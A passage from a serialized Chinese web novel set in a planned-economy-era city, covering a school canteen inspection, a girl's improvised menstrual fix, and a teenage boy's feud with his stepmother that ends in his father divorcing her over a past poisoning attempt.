余嘉祥虽母亲早逝，但他得到的爱却只多不少。 他舅妈虽然偶尔会因为舅舅待他过好心里会不舒服，但从来没有在他面前表现出来，反而对他跟舅舅一样好。 他舅舅更是偏心偏到骨子里，念及他是自己妹妹留下的遗物，对他好的不得了，有什么好的他表哥没有，他舅舅也惦记着给他搞来一份。 他那个爹虽然眼瞎，看上个比他自己小许多岁的女人，但在吃喝拉撒上也没有薄待过他这个大儿子。 余嘉祥除了没有母亲的陪伴之外，他比大多数的人过的都要好。 擦完板凳带血迹的纸张他没有直接扔到教室的垃圾桶里，而是用一张干净的纸张包着，揣进了裤兜里。 等走到学校的垃圾处理处，他才把口袋里的纸团掏出来扔到了那里，之后默不作声的去食堂吃饭去了。 回到宿舍的钟莹莹火急火燎的脱下身上的脏裤子后，就着急忙慌的在柜子里搜寻自己能够用上的家伙式。 毛巾或者手帕应该都可以，就是手帕太薄，容易被浸湿，毛巾太厚，塞进裤子里会鼓出来一个大包，看上去会很奇怪。 感受着身下越发汹涌流出的热流，钟莹莹心一横道：“算了，不管了，奇怪就奇怪了，总比血流一屁股强！” 她用冷水洗了洗屁股，然后换上干净的内裤，把毛巾折叠起来后，直接垫在了内裤里，之后再穿上干净宽松的长裤，这一套动作做下来，她总算觉得下面干净清爽了许多。 月经的事情解决了，现在的剩下的问题就是怎么解决她屁股下面凸出的那一大团的问题。 看到柜子里她夏季睡觉盖的被单，她有了一个绝妙的主意。 “莹莹，你这回宿舍一趟，怎么还换了条裙子？还挺好看的，就是这裙子我怎么看着这么眼熟呢？”祁绮不太敢认钟莹莹身上的这条花裙子，看花色这裙子怎么看怎么像是钟莹莹之前盖过的被单。 还有这裙子里面套裤子，这又是什么时兴的打扮？是她又落伍了吗？ 钟莹莹嘿嘿一笑，在她耳边耳语几句后，就见祁绮瞪大眼睛：“真的啊？” 钟莹莹点点头：“真的，我骗你做什么？” 宋悦跟牛丽华也被吸引过来：“你俩说什么悄悄话呢？怎么一个宿舍还带排外的？我们也要听！” 祁绮凑近她俩耳边小声说了几句，就见她俩跟之前自己的反应一样，不由自主的瞪大双眼，惊呼道：“真的吗？那等下次我们也要试试！” 宋悦上下打量了钟莹莹一番后，龇着个大牙乐道：“别的不说，你这小裙子围的还挺好看的，这扯一块布都不用请裁缝了，想拿来当床单就当床单，想穿在身上就穿在身上，而且还有那等妙用。” 宋悦想到刚刚祁绮给她说的，用毛巾替代憋闷又繁琐的卫生带，毛巾那多吸水啊，而且脏了之后放在水盆里轻轻揉搓就能洗的干干净净。 不像卫生带，沾了血之后特别的难洗，搓了好多遍之后上面仍然还有血迹，宋悦苦卫生带久已。 得知钟莹莹用毛巾代替卫生带，又用床单折叠起来，给自己围了个漂亮的半身裙遮挡毛巾的凸起后，宋悦也开始期待自己下次来月经用同样的方法为自己解决烦恼了。 食堂的饭依旧还是那个德行，乱七八糟的东西混合在一起，只要煮熟了，就拿来给学生吃。 跟上学期不同的是，钟莹莹没给班上其他同学带咸菜，但他们却自己每个人从自带的饭盒里夹出来一筷子又一筷子小咸菜吃进嘴里。 赵磊一口咸菜，一口食堂的菜糊糊吃得正香的同时还不忘对班上同学赞叹道：“你们说，钟莹莹老家这咸菜到底咋做的啊？咋那么好吃捏？” “我娘听我说咸菜好吃，非要自己在家腌一坛子给我吃，结果腌出来后齁咸，她自己都不吃。” “等我爹把他们单位从钟家岗采购回来的咸菜带回家，我娘尝了一口后，就再也没提过要自己腌咸菜的事！” “而且她还说，等回了单位也要让领导去采购这个给她们发福利，别的厂能发她们厂不能没有。” 他边上的同学也是从自带的饭盒里夹着咸菜配菜糊糊，不同于赵磊的豪迈，他的动作要小心的多，一大口菜糊糊只配一丝丝咸菜。 好不容易就着那一丝咸菜咽下去一大口菜糊糊，他也开口道：“谁家不是呢？我娘也是嚷嚷着要自己做，然后等到她们单位也发，吃一口之后她就老实了。” “倒是我那老爹跟你娘一样，不自量力的想要自己挑战腌咸菜，结果闹了个大红脸，他搞了好大一坛子，全生花长霉坏了不能吃了，我娘骂他糟蹋东西，给他也挠了个满脸开花。” “哈哈哈哈哈～赵磊，我跟你说，我来上学之前，我爹厂里没开工，他都不敢出门，害怕一出门就被别人看见他那张大花脸～” 亲爹受到重创，大孝子乐得不能行。 这样的对话频繁发生在高二一班的学生群体中，其他班级里虽然没有这么明显，但市中的学生大部分都是市里各大单位的子弟，高二一班的学生能拿到的东西，他们也能拿到。 所以若是有外人来到市中的食堂就能见到不同年级不同班级的学生，碗里却有着同样的咸菜，而且大家都在喜笑颜开的吃着咸菜。 省领导过来视察的时候见到的就是这么和谐的一幕。 第134章 “小周呀，你们学校的学生饭盒里吃的那都是什么啊？怎的大家伙都那么高兴？学校的伙食这么好的吗？”年迈的领导看见孩子们吃得高兴，他兴致上来了，非让周校长给他也去打一份饭。 “这……”周校长十分犹豫。 他是知道学校食堂的伙食是什么情况的，就是他自己都不愿意吃。 但是原先的副校长牛开霁说这样子能锻炼大家吃苦耐劳的能力，还能够少请两个厨子，节约学校的经费，周校长一合计，反正他自己也不吃学校食堂的饭，他就同意了。 牛开霁被抓走后，学校人员虽然有很大的变动，但食堂仍旧是老样子，因为他也不希望学校的经费过多的花在食堂上面。 钱填在食堂里面，领导们又看不见，反而如果是用在如建设学校大门，给教室换新的桌椅板凳等，这些不会很快消散的东西，才能实打实的体现出他的功绩。 周校长以前认为自己缩减食堂的开支有多明智，现在他就有多么的后悔。 老领导还在催他：“小周啊，你快些呀，你要是再不去的话，那我就自己过去打饭了，怎的一个大男人现在变得磨磨叽叽的？” “你莫不是也让‘牛开霁’那狗东西给替换了？” 眼见着老领导看着自己的眼神越来越怀疑，周校长终于狠下心道：“老校长，您先坐，我去给您打饭去～” 老领导满意道：“哎呀，这才是我的好学生嘛，你快去吧，我在这等着你！” “离开市中这么多年，我还真有点想念市中的伙食了！” 老领导没调到省教育局前在市中干了很多年的校长，周校长就是他带过的几届学生之一，所以他才会使唤周校长使唤的如此得心应手。 周校长心里满是忐忑的去打饭窗口给老领导打来了一盘子不知明的菜糊糊，就这他还是让打饭阿姨挑着那盆不明物中长的好看一些的东西打出来的。 把餐盘放在老领导的面前，周校长都不忍心说这是自己给他打的饭，他小心翼翼的尝试着问老领导：“老校长，要不……我带您去我家吃吧？我媳妇之前……” “你别说了，我不去，你把筷子给我就行，这饭学生吃得，我怎么就吃不得？”老领导看着这一盘子菜糊糊，明显有些生气了。 一日为师，终身为师，老领导一发威，周校长就不敢说话，乖乖的把手中的筷子递给了老领导。 老领导拿起筷子夹了一筷子菜糊糊放进嘴里，嚼了好半天他都没咽下去，又废了好大一番功夫，好不容易把嘴里的菜糊糊咽下去后，他放下筷子问：“小周，他们饭盒里吃的是什么东西？不是咱们食堂里的吗？” 周校长看了学生的饭盒一眼，这事他还真知道，他媳妇单位也发这个小咸菜了，他尝了好吃的紧。 “老校长，这应该是学生从家里面带过来的，去年年底市里好多单位都采购了这个给职工发福利，我媳妇单位也发了，特别好吃，我家还有，您要是想尝尝，我回家给你取去。” 老领导听了之后似笑非笑道：“不用麻烦了，你先给我解释一下食堂这个饭是怎么回事？” “小周，国家每年给学校批那么多钱，你把这钱都拿去干嘛了，我需要你给我个解释！”说到最后一句话的时候，老领导声音略微加重，话语中透露出遮掩不住的寒气。 周校长被他的话给吓的一哆嗦，他连忙解释道：“老校长啊，食堂的这个伙食我们也是无奈之举啊，学生多，食堂人手又不够，吃能够在吃食上略微缩减一些。” “但校长您放心，这个饭的营养绝对是够的，里面米面粮油一个不差，偶尔还会给放些肉进去呢！” 见老领导不说话，他便以为对方认同了他的说法，他兴致勃勃的继续往下说道：“而且老校长您看啊，这个饭就这么简简单单一坨，同学们只要往嘴巴里咽就成，完全不用思考每天吃什么，这大大节约了大家的吃饭时间，让同学们能够将更多的精力和时间投入到学习和劳动中去。” “这样食堂节省了经费，学生的成绩也得到了提高，这不是两全其美的事情吗？” 老领导听完他说这话，那叫一个气啊，听听，这都是什么歪门斜理？他气的手都在颤：“周旭，我就是这么教你的吗？” “谁告诉你节省经费要节省到学生头上的？你那大门造的再好看，你那路铺的再平，可你的学生日子不好过，你内里就不光鲜！！！”怪不得他一来学校就让他去看那大门，那路，那桌板，就是死活不愿意他来食堂呢？原来污点在食堂里藏着呢。 “老校长！”周旭难以置信，他竟然会这样骂自己。 老领导气急：“你别喊我老校长，我没有你这样的学生！” “你看看你的学生们都在吃什么东西啊？菜糊糊配咸菜，好好的粮食让你糟蹋成这个样子！你对得起给我们种粮食的农民同志吗？你对得起那些学生家长辛苦工作给孩子们赚来的粮票肉票还有钱吗？” “你还说那咸菜疙瘩好吃，我倒要看看，那咸菜疙瘩能好吃成什么样！” “同学，你咸菜换给我一筷子，我给你粮票！”老领导夹的是赵磊饭盒里的咸菜，一筷子夹下去，给他饭盒里的东西夹走了一小半，然后他放到赵磊面前一张一市斤的粮票。 正常来看，是赵磊赚了，但实际上赵磊心疼死了啊，他哪里缺粮票啊，他缺的是钟家岗的咸菜，呜呜呜……他怎么这么倒霉偏偏就坐在两位领导的边上啊。 这下好了，阎王打架，最后受伤的是他这个小鬼。 老领导将那一筷子咸菜送入口中，本想立马骂周校长的，但是嚼巴了两下后，他眼睛一亮又是嚼巴了好几下，嚼着嚼着他心中的火气就消了许多。 额……这小咸菜确实蛮好吃的，这件事情上他错怪周旭了。 但国家发下来的好好的粮食让周旭给造成那个样子，他还是不能原谅他。 因此，老领导冷哼一声道：“这小咸菜确实蛮好吃，但再好吃也不是你市中食堂做出来的。” “学校好生生一个食堂这才几年？让你搞成这个样子？” “此次检查，市中的食堂严重不合格，周旭，我给你一个月的时间，赶紧把食堂给我整改了，该招人招人，该改进菜单改进菜单，要是下个月我再过来，你们还是这个样子，那你就不用干了，自己去教育局解释去吧！” 周校长擦了一把额头上冒出来的冷汗，忙不迭的给老领导道歉：“是是是，老校长我知道错了，我会整改的，您放心，不用一个月，本周我就能完成整改。” 事情关系到他的乌纱帽，他再也无法淡定自若。 老领导嘲讽道：“你最好说到做到！” “这些饭给我打包带走，我回去路上吃。”餐盘里没吃完的菜糊糊老领导也没有忘记，他那个年代的人是苦过来的，最见不得的就是别人浪费粮食。 “走！” 省里的领导班子来的快，走的也快，最后食堂里只剩下满脸苦涩的周校长，没过一会儿周校长也从食堂中走了出去。 等所有的校领导全部走光了，原本鸦雀无声吃着饭的学生当中忽然爆发出一阵巨大的欢呼声。 “哦～天呐～学校终于要整改这该死的食堂了，天晓得我忍这破饭多久了？整天不是菜糊糊就是菜团子，硬的都能给人的牙硌掉！” “谁说不是呢，这检查组来我们学校真的干了一件大好事！” 钟莹莹班上的同学也高兴的快要飞起来了，虽然每天有着钟家岗咸菜的补救，但谁不想吃的更好一些啊？ 天天钱和票照例给学校交着，一到吃饭的时候就给他们吃跟猪食一样的玩意，但凡有人提意见，他们就说这届的学生一点苦头都吃不得，娇生惯养。 再扯下去就要往骄奢淫逸上面扯了，那是要被拉去批斗的，这样一来，哪还有人敢反抗？ 食堂发生的事情让市中所有的学生心情都变得无比之好，周校长也没违背他的诺言，一周之后，学校竟然真的又招来了两名厨师，以及一个两个帮厨。 现在进到市中食堂里，再也看不见原先那黑绿色的菜糊糊或者黑绿色的菜团子了。 打菜窗口里整整齐齐码着的是青椒土豆丝、红烧豆腐、肉末大白菜等色香味俱全的菜色，主食也做了两种，杂粮饭和杂面窝窝头。 能在学校里面吃到正常的饭菜，所有学生乃至基层老师都是心潮澎湃、热泪盈眶。 老领导来复查时，拍了拍周校长的肩膀道：“小周啊，你这不是能做好吗？以后记得，千万不要再像之前一样，只想着面子好看，一点也不顾里子，那样是不对的。” 周校长点头哈腰应承道：“是，老校长您说的对，我以后坚决不会了。” “这样才是国家和人民的好同志嘛，小周，我很看好你！”老领导像给下属画饼一样习惯性的给周校长也画了一张饼。 看着周校长高兴的模样，他趁机装作不经意间提起：“上次听说你说市里好多个单位都采购了那个咸菜，你说说咋回事？” 第135章 ““老校长，那个咸菜啊，我打听了，是我们学校一个学生老家产的，他们先是卖给了是市钢铁厂，饱受好评之后，市政也向他们订购了一批货。” “那位同学还给班上同学分了不少，那个班的同学们都很喜欢，放假的时候就会去给家长说了这件事情。” “家长们一打听还真有这么个小厂子，就说人家厂子能订，他们厂子也行，这不，大家一合计啊，就都找到了那个工厂，跟人家下了订单。” “而且啊，听说现在想去采购还得排队呢，人家的单子早就安排满了。”周校长说起钟家岗咸菜厂的事说的那叫一个头头是道。 “这样啊……”老领导的面上露出几分为难的神色。 他本来是想打听打听能不能私人买一些带回去给他老伴尝尝的，可一听人家的单子早就排满了，这可不就犯了难了吗。 周校长是很会察言观色的，见状就问：“老校长，我家里还有一些，您要是不嫌弃的话，我可以匀你一些。” 老领导听了之后果然面色舒缓了许多：“小周啊，我不占你便宜，你多少钱买的，我补你多少。” 周校长笑了：“好，老校长您大气！我也就不推辞了。” “您看您今天晚上有时间不？要不现在上我家去取去也行！” 老领导斜睨他一眼：“晚上吧，白天你不还要工作呢吗？擅离职守你是不想干了是吧？” 周校长连忙赔不是道：“是是是，还是老校长您想的周到，那就等我晚上下了班之后，再带您回家取去。” 老领导闻言笑着说：“这还差不多！” 这次复查比上次的检查要显得宾主尽欢的多，学校潜在的问题解决了，老领导的心情也变得美丽了不少。 对他来说只是简简单单的一次视察，但对学生来说，却是切实改变了他们在市中的生活水平。 食堂的饭菜变好了，钟莹莹竟然被养的开始有些嘴叼了。 余嘉祥之前给她的巧克力她左省右省的最后还是吃了个精光，从学校溜出去想买些替代品来着，但是一看供销社里的鸡蛋糕还有桃酥她就头痛，都吃了这么些年了，连个新花样都没有。 她考虑来考虑去，最终还是凑到了余嘉祥跟前。 钟莹莹一脸真诚的发问：“同桌，你之前给我的那个巧克力，你说你都吃腻了，那我可以拿钱票再跟你换些吗？” “我知道那个很贵，你看看，这些够不够？”她借着裤子口袋的掩饰，从空间里掏出来两张大黑十，还有两张半市斤的糖票以及一张一市斤的粮票。 “我没有买巧克力的票，你看用糖票和粮票换成不？” 余嘉祥正在写作业呢，就这么被突如其来的钱票给怼在了脸面前。 他看看被塞到桌洞里的钱票，又抬头看看钟莹莹。 “你想找我换上次那个巧克力？” 由于正处于变声期，余嘉祥的声音变得有些许沙哑。 钟莹莹用力的点点头：“嗯。” 也不知为何，之前没吃到的时候没啥念想，现在吃完那一盒之后，再让她忍着，她就忍不了了。 “我现在手里没有，等周末吧。” “周末我要回家一趟，到时候从家里给你带。” 他记得他爹那抽屉里应该还有两盒，当时一共有三盒，他只拿了一盒，家里那头死肥猪估计不会吃，因为这是黑巧，苦的很。 钟莹莹双手合十，诚恳的拜了拜余嘉祥：“大恩大德，没齿难忘！” 她现在再看余嘉祥，就觉得余嘉祥仿佛浑身上下在冒着金光一般，还有就是不知道是不是她的错觉，从余嘉祥答应她的那一刻，她仿佛就在对方身上闻到了巧克力的甜蜜气息。 余嘉祥看她这副崇拜的模样，心里虽然有些暗爽，但面上却是不动声色道：“钱多了，要不了这么些。”都是回家零元购，不拿也是便宜家里那俩蠢货，白给他这小同桌吃都比让家里那俩蠢货造了强。 兜里有了几个子的钟莹莹自信的很：“没事，你拿着，有多的你多给我带一些，没有的话就给你当辛苦费了。” 上次人家给她那一盒都没要钱，钟莹莹多少得让他回一波血。 而且她给的这些钱，对于这个时代的巧克力来说，可能并不算什么，因为那巧克力大概率是要有外汇票才能买到的，外汇票对她这种土生土长的老农民家庭的孩子来说，是拿钱也换不来的东西。 余嘉祥给她带的那一盒巧克力的价格都比她借给他的那条裤子要值钱的多。 见她是真的不缺钱，余嘉祥才把她塞到自己抽屉洞的钱放到了口袋里。 以前他还想着收钟莹莹当小弟，可自从上次看见钟莹莹裤子上的血迹后，他的性别意识就像觉醒了一般，再也没提过那个话题。 日常跟钟莹莹的交往也多了一些分寸，尤其是肢体活动，几乎缩减为零。 上课时钟莹莹的胳膊在桌子上不小心碰到了他，他都要悄咪咪的把自己的胳膊收回来，特别的谨慎。 余嘉祥是个守诚信的孩子，说周末回家给钟莹莹拿巧克力，周末就找老师请假回家去了。 “叔，麻烦给我开下门！” 见到市中门口的保安，余嘉祥很有礼貌的将自己手中老师盖过章的请假条递给了两人看。 陈平咧着嘴嘿嘿一笑：“我记得你，小伙子，又回家去啊？” 余嘉祥矜持的点点头：“嗯。” “那叔给你开门，请假条我就不看了，这都多少回了，叔认脸也认得你了。”陈平说的是实话，能在市中随意进出的学生，除了一开始走读现在住宿但时不时请假回家的余嘉祥，就是那俩家里跟自己打了招呼的小姑娘了。 就三个人他还记不得，那不白瞎了他之前在部队里训练过的那几年嘛。 “谢谢叔！”能少一道手续，给自己省点事，余嘉祥自然乐意的很。 校门一开，他骑着从他那渣爹手里弄来的自行车就出了校门。 望着他远去的背影，陈平对身边的王刚感慨道：“这还得是人家领导的孩子啊，你瞅这自行车骑的，多顺溜啊！” 王刚嘿嘿一笑：“可不是嘛！”他们乡下的孩子哪有自行车骑啊～ 从学校一路骑车回家的余嘉祥，到家把自行车停在自家院里后，见家里没人，他拿出自己手绢里包着的钥匙就打开了自家的大门。 进屋之后，他直奔余华容的书房，打开他的抽屉后，果然在那里面看见了他走之前看见的那两盒巧克力，就是有一盒被打开了，只剩下了一半。 余嘉祥喃喃自语道：“老家伙还吃巧克力呢？” 收走、收走、通通收走，就不给他吃。 余嘉祥乐意干任何无用但是能给他老爹添堵的事情。 他拿完巧克力后，回到自己房间找了一个被他闲置的书包，把两盒巧克力塞进去之后，那书包就变得鼓囊囊的了。 装完巧克力还不算完，他又仔仔细细检查了一番他的房间，这个房间在之前他回家闹过之后，那蠢货就给他复原了，这次他重新上锁后，那蠢货倒是聪明，没有再进来搞破坏。 满意的从自己房间出来后，他迎面就装上了刚下班回家的继母。 张琬容被突然开门从房里出来的余嘉祥吓了一跳，她正要发火时，忽然又想起了余嘉祥往日在这个家里的‘功绩’，她只能克制住自己的心情，讪笑道：“嘉祥回来了？娘还以为是你爹在家呢，吓娘一大跳。” “你爹前些日子从单位提回来一条金叶火腿，嘉祥你中午要不要留下尝尝？” 张琬容是知道余嘉祥不愿意吃她做的饭才会如此问的，她就是在故意膈应人。 没想到余嘉祥听后，没有生气，反而一挑眉，像是颇有兴趣的样子。 “火腿？在哪里？”正在他想去舅舅家看看，正愁空着手去不太好呢。 张琬容讷讷道：“在厨房里。” 她这个继子是吃错药了？往常一跟她说话就要炸的人，今天竟然能如此心平气和的和她说话，很快她就知道为什么了。 余嘉祥回房间一件旧衣服后，冲着厨房就钻了进去，在一阵翻箱倒柜后，终于找到了张琬容口中所说的那条金叶火腿。 他把火腿给放到平常张琬容买菜的那个竹筐里，又用旧衣服给竹筐盖住了，中途看见柜子里的黄桃罐头，他也没有手软，通通给塞进了筐子里。 见他把家里的好东西都乱八七糟的给打包了起来，张琬容慌了：“嘉祥，你这是要干什么啊？这火腿你爹中午回来也是要吃的呀！你快把它给放下。” 余嘉祥扬唇一笑：“后娘，不是你说让我吃火腿的吗？我还有事，来不及在家吃了，这条火腿我带走吃还不成吗？” 张琬容慌里慌张间都没注意到余嘉祥对她的称呼*，她忙道：“我不是这个意思，我只是想说，你可不可以拿一半走，留一半留给你爹和弟弟也尝尝啊？” 看余嘉祥作势要从筐里把火腿拿出来，张琬容放下心来一路小跑到厨房，中间还不忘回头对余嘉祥解释道：“我去厨房拿刀来切。” 第136章 “不着急，你慢慢拿！我就在这又不回走。”余嘉祥看她慌乱中差点跌倒，好心提醒到。 满心满眼都是那条火腿的张琬容来不及想这其中的蹊跷，她只想快点把刀拿来，给火腿留下一半。 等她终于把刀拿出来的时候，她那胖儿子也放学回家了。 “娘～我饿了～今儿个我们吃什么？你不是说爹带回来个火腿吗？我要吃火腿，我要吃火腿，你快给我……”做字还没说出来，小胖子就看见了拎着篮子，靠在墙角似笑非笑看着他的哥哥。 小胖子瑟瑟缩缩的不再敢说话，因为这个哥哥想揍他是真揍啊。 余嘉祥看他害怕，故意恶劣道：“怎么？见到你哥不会叫人啊？” “哥……哥”明明就是他以前不让自己喊哥哥的，小胖子委屈，但小胖子不说。 “听说你在学校考了第一名？” 小胖子不知道他想干嘛，只能委屈巴巴的点了点头：“嗯～” 他现在只想这个哥哥快把话都说完，他身上还背着书包，好想把书包拿下来丢到家里的凳子上啊！真的好累，肩膀好痛，呜呜呜～ “你想吃火腿啊？” 余嘉祥说这话的同时，还坏心眼的将竹筐里用旧衣服盖着的火腿掀开给他看了看。 小胖子这会儿肚子正饿，瞧见他那竹筐里的火腿还有黄桃罐头就忍不住吞了吞口水，并猛烈的点了点头，用那双写满了渴望的眼神望着余嘉祥。 张琬容也拿着刀过来了：“嘉祥啊呐～快把火腿给我，我给你切一半！” 在她手伸过来的一瞬间，余嘉祥迅速把自己的竹篮用衣服盖好，然后越过这对母子，走到大门口后转头道：“我逗你俩玩的，这整条啊，我都要！” 看着张琬容当即就被气的脸红脖子粗，他十分满意的点了点头，要的就是这个效果。 这死女人以前敢给他汤里放铅粉，都想把他整成个傻子了，还指望他能和她和谐相处呢？做梦呢她！ 张琬容提着刀就要追，余嘉祥把竹篮子挂在车把手上，长腿一跨就跨到了车座子上，脚一蹬自行车就驶离了院子，出院子的时候见张琬容还想再追，恰逢外面有邻居路过，余嘉祥就大喊道：“后娘打人啦，后娘打人啦。” 张琬容一听立马就停下了脚步，面对着邻居狐疑的眼神，她只好放下刀子，捋起垂到面中的一缕头发，假装镇定的给人解释：“这孩子调皮，我做饭问他要不要留在家里吃，他要去他舅舅家，跟我开玩笑呢。” 邻居大娘听她这样说，心里仍旧抱着怀疑：“最好是你说的那样哦，嘉祥他娘是我们看着长大的孩子，你欺负嘉祥，我们这帮子老邻居是一万个不得乐意的。” 张琬容讨好的笑笑：“是，是是，王大娘，我怎么会欺负嘉祥呢？家里住的房子都是以前嘉祥他娘的，我又不是那忘恩负义的人，住着人家房子，还欺负人家娃！” 张琬容表现的十分大义凛然，王大娘还真被忽悠住了。 等王大娘走后，她回到家把门一关上，就忍不住发火。 小胖子还在等她的火腿呢，见她空着手回来，只能怀揣着最后一丝希望问：“娘，爹带回来的火腿家里还有吧？” 张琬容正在气头上，对他这个儿子也没什么好气：“有个屁有啊，都让你余嘉祥那个小兔崽拿走了。” 小胖子闻言立马嚎啕大哭起来：“我不管，你说了今天回来有火腿吃的，你还我火腿！还我火腿！” 背着书包在地上打滚有些不舒服，他就把书包拿下来往旁边的地上一扔，自己往地上一躺就开始撒泼打滚。 张琬容气急，踹了他一脚道：“你给我起来！” “刚刚余嘉祥在的时候你咋不敢问他要？现在跟你娘我撒起泼来了？” 小胖子挨了一脚后，消停了一小会儿，但紧接着就是更大的哭嚎声：“娘，你打我！” “你自己都不敢把火腿抢回来，你让我问他要，你还打我？呜呜呜呜呜……你打我，我不活了啊～” 本来在学校辛辛苦苦的学习就是回到家能吃上点好东西，现在念想全都没了。 他哥那筐里他看不仅有火腿，好像还有他一直没舍得吃的那两罐黄桃罐头。 想到这里，小胖子利索的一个打滚，就从地上翻身爬起来，一溜烟的跑进来家里的厨房，没一会儿的功夫，就听见厨房里传来一阵惨绝人寰的哀嚎声：“我的黄桃罐头啊～” 余华容从外面推门进来：“怎么了？这孩子哭这么厉害？” 张琬容这次真的生气了，也没心思去在余华容面前装好后娘了，她气的跺了跺脚：“问你大儿子去！” “刚回来就跟土匪一样，进屋就翻东西，把你拿回家的那条火腿装走了还不算完，给你家小胖……小儿子的黄桃罐头也给搜罗走了。” “他能不哭吗？上了半天学回来就等着吃口好吃的呢，这下子啥都没有了！” “不就一条火腿吗？等回头我找同事换些回来再吃就好了，嘉祥要就让他拿去。”余华容觉得并不是啥大事。 “他上他舅舅家知道不空手去，长进了！” 张琬容听完疯的更厉害了，她在这生气，面前这个男人心里想的只有他大儿子知道从家里捞东西上舅舅家的喜悦？她嫁给他到底图啥啊？都这么些年了，他心里仍旧只有他那个宝贝大儿子。 张婉容猛的甩开余华容拉着她的手，愤怒的道：“你说的倒是轻巧，不就一条火腿吗？那你现在就给我找一条新的回来啊！” 余华容皱眉：“琬容，你怎么跟个孩子计较？都说了赶明儿我找同事换一些回来给你，又不是吃不着了。” 张婉容冲口而出道：“这是火腿的事吗？这是他余嘉祥从始至终就没把我这个后娘放在眼里！” “谁家孩子是这样的？你华容自己拍拍胸脯问问自己，我待他还不够好吗？他呢？来家里抢了东西就走还不算完，走的时候还要在邻居面前抹黑我，他为什么要这样对我？” “你就知道偏向你大儿子，你小儿子在厨房里哭成那样，也没见你过去看看，你这么不待见我们娘俩，那我们离婚好了！”离婚的话在刚说出口的那瞬间张琬容就后悔了，她知道，她现在离婚，二婚绝对是找不到跟余华容一样身份的人的。 但她又记挂着自己的面子，不好收回自己的话，只能冷着脸等着看余华容怎么说。 听着张琬容字字句句的控诉，余华容的脸色也渐渐冷凝下来。 他顿了良久后开口道：“琬容，你说你待他好，那在汤里下药也算是好吗？” 张琬容仍想狡辩：“华容，那汤真没问题啊，当时我就是加了点红花，咱儿子年纪小我才没让他喝的，我真没有往里面下东西，是嘉祥……” “是嘉祥给你说的是不是？嘉祥一直不待见我你也不是不知道，他能给你说真话吗？” “事到如今你还要攀扯嘉祥！” “那汤是我拿去请朋友化验的，嘉祥甚至在那之前都不知道这件事情，你还能怪到他吗？” 余华容的声音不疾不徐，甚至没有指责的意味，但张婉容却是被这话给吓的软了身子，一下子瘫倒在家里的沙发上。 “当初那汤嘉祥没喝，没生出什么乱子，我本来是不想和你计较的，但是现在……”余华容闭上了眼睛，过了好一会儿他才睁眼道：“既然你想离婚，那我们就离婚吧！” 张琬容再也不是以前的那个张琬容了，他为了家庭合睦一直没有揭穿她投毒谋害自己儿子的事实，现在她又这般斤斤计较，余华容觉得，他没办法再跟对方过下去了。 “孩子你想带走的话，我会付抚养费，你要是不想要他，那就留下来我养，存折里的钱我们一人一半，这房子是嘉祥他娘留下来的，虽然后面经公分给了我，但仍旧要给嘉祥留着。” “你要是不满意，钱可以多分点给你，但是房子不行。” 听到余华容要和自己离婚，连家产都分好了，张琬容抓着他的裤腿哀求道：“华容，是我的错，不离婚行不行？” “我也是听信了别人的话，是我二嫂，对，是我二嫂说嘉祥一直在你面前挑拨离间，会影响我们之间的感情，我才……那药也是她给我的，要怪你就怪她，真的不怨我啊，华容～” 往日的妻子无助的在自己面前哭泣，余华容心里也有几分不忍，不过一想到两个儿子，他的儿子不能有个劣迹斑斑的母亲，他又狠下心来：“你二嫂的事情日后再谈，她害我孩子，我不会不管的。” “但今天这个婚，必须得离，如果你不愿意的话，那就去公安局。” “当时那份汤的化验结果我还让他们保存着。” 张琬容闻言再也抓不住他的衣服，坐在沙发上怔愣着道：“华容，你好狠的心啊！” 同床那么多年，她竟然不知自己的枕边人心硬到这种程度，他竟然要把自己送去蹲篱笆子。 乐乐呵呵揣着一竹篮好货去舅舅家的余嘉祥完全想不到，自己就是心血来潮抢了一条火腿，竟然直接就给自己老爹和后娘拆散了。 不过如果他知道的话，他只会说：拆的好！咋没早点拆成功呢！ 第137章 “舅妈，这是我爹从单位带回来的火腿，我都给你们拿来了，一点也没给他们留！” 余嘉祥一进谢家就手舞足蹈的给他舅舅和舅妈表演了一在他自己家跟后娘火腿大战的场面。 “你们都不知道，我走的时候，给那个女人气的，她那胖儿子也在嚎！” 对于自己在余家达成的成就，余嘉祥颇为自豪。 谢舅妈却是有些担心：“嘉祥，你总这样跟她作对，你爹不会……” 余嘉祥不假思索道：“不会。”余嘉祥很确定每次自己做的事情都是在余华容的底线之上的，他对自己有愧疚，不可能会因着这点小事就翻脸不认人。 “要添饭不？”谢文博碗里的饭空了，想去厨房里盛饭，看余嘉祥碗里的也吃的差不多了，就问他要不要给他带一点。 余嘉祥站起身：“我跟你一块去吧，舅舅、舅妈，你俩要添饭不？” 谢舅妈摇摇头：“不用，碗里的还没吃完呢，你俩自己添吧！” 半大小子，吃穷老子，这俩小子能吃的很，要是换做一般人家，可能还真的会养不起。 余嘉祥盛完饭回到饭桌上，几人继续唠着家常。 “文博，你跟那个女孩子相处的怎么样了？人家相中你了吗？”谢舅妈夹了一筷子鱼肉，一边吃一边问道。 余嘉祥有些惊讶：“女孩子？表哥跟人相亲了？” 谢舅妈笑着说：“对，我单位有个同事家的侄女，她说看我们家文博挺实在的，就想着让他俩见上一面，现在又不兴盲婚哑嫁了。” “表哥，怎么样，人家看上你了吗？”余嘉祥用肩膀碰了碰谢文博的肩，一脸八卦的问。 谢文博方才喊人添饭的时候还大大方方的呢，这会儿一提到他找对象的事，一下子就羞红了脸，他支支吾吾道：“我也不知道，但是她约我下次在电影院见面。” 谢舅妈大喜：“那就是那小姑娘愿意和你继续发展的意思啊。” “文博，你可要好好表现，去电影院该给人家小姑娘花钱你不要抠门，你要是钱不够，娘这里有，听见了没有？” 谢军也跟着道：“文博，你就听你娘的，她说的准没错。” 谢文博头都快埋进饭碗里了，闻言只是闷声：“嗯。” 关心完儿子，谢军转头又关心起他的大外甥来，这孩子这般聪明，小小年纪就读了高中，如果好好培养，以后定有一番成就。 谢军沉声道：“马上高三了，嘉祥你有想好要考哪里的大学吗？” 余嘉祥：“不知道，还没想好呢，我爹让我在海市或者首都两个地方选一个。” 余嘉祥之前一直不是很在乎这些，在他看来，在哪读大学不是读？只要能顺利毕业就行。 谢军：“跑那么远啊？你没考虑过本省的吗？咱们池省大学也不差啊！” 和首都大学或者海市大学相比，肯定要逊色一些，但在池省本地，绝对是顶顶好的大学。 谢舅妈也跟着劝：“你娘当娘念的就是池省大学，如果你在池省读，还能跟她当校友呢～” 别的东西对余嘉祥来说无所谓，但跟他娘当校友这件事对他来说比较有吸引力。 “舅舅，舅妈，我娘以前读的是什么专业啊？” 他娘过世的时候他年纪很小，家里搬家一直搬来搬去的，很多东西都在搬家的过程中遗失了。 